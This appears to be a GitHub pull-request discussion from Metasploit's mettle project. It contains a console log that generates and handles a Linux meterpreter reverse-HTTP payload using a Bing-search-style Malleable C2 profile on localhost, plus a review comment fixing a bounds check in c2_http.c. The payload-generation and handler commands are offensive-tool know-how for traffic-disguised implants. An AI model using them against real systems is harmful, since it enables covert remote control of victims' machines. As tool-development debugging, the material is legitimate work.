[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 4inak9t8) Attaching orphaned/stageless session...
[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: Died
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 4inak9t8) Without a database connected that payload UUID tracking will not work!

bingsearch_geonly

msf > use payload/linux/x64/meterpreter_reverse_http
msf payload(linux/x64/meterpreter_reverse_http) > set lhost 127.0.0.1 
lhost => 127.0.0.1
msf payload(linux/x64/meterpreter_reverse_http) > set lport 4242
lport => 4242
msf payload(linux/x64/meterpreter_reverse_http) > set malleablec2 /home/ms/Documents/Malleable-C2-Profiles/Normal/bingsearch_getonly.profile
malleablec2 => /home/ms/Documents/Malleable-C2-Profiles/Normal/bingsearch_getonly.profile
msf payload(linux/x64/meterpreter_reverse_http) > generate -f elf -o /tmp/msf
[*] Writing 3047776 bytes to /tmp/msf...
msf payload(linux/x64/meterpreter_reverse_http) > to_hnadler
[-] Unknown command: to_hnadler. Did you mean to_handler? Run the help command for more details.
msf payload(linux/x64/meterpreter_reverse_http) > to_handler
[*] Payload Handler Started as Job 0

msf payload(linux/x64/meterpreter_reverse_http) > [!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started HTTP reverse handler on http://127.0.0.1:4242
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 0rpbz8kh) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 0rpbz8kh) Redirecting stageless: URI '/search/' with UA '' -> UUID JN6YQIOmUhkG3ADebOkhJQ4VnJ3TZHkWRilgHxlac_56jOBHN_FYYjbTpoLUKFJl51whiP2P0eFGP4-qIFNmFUuRJXSjYck
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 0rpbz8kh) Without a database connected that payload UUID tracking will not work!
[*] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 0rpbz8kh) Attaching orphaned/stageless session...
[!] http://127.0.0.1:4242 handling request from 127.0.0.1; (UUID: 0rpbz8kh) Without a database connected that payload UUID tracking will not work!
[-] Meterpreter session 1 is not valid and will be closed
[*] 127.0.0.1 - Meterpreter session 1 closed.

Comment thread mettle/src/c2_http.c

int start = vc->prefix_skip;
int end = raw_len - vc->suffix_skip;
if (start >= end || start < 0 || end > (int)raw_len) {

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This breaks currently zoom and bingsearch_getonly profiles - this is because they both prepend and append stuff before and after raw data and when the C2 sends empty response, the start and end are same and it is incorrectly parsed by mettle, causing connection to reset:

Suggested change
if (start >= end || start < 0 || end > (int)raw_len) {
if (start > end || start < 0 || end > (int)raw_len) {

Left PR fixing the issue, let me know if it looks okay.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants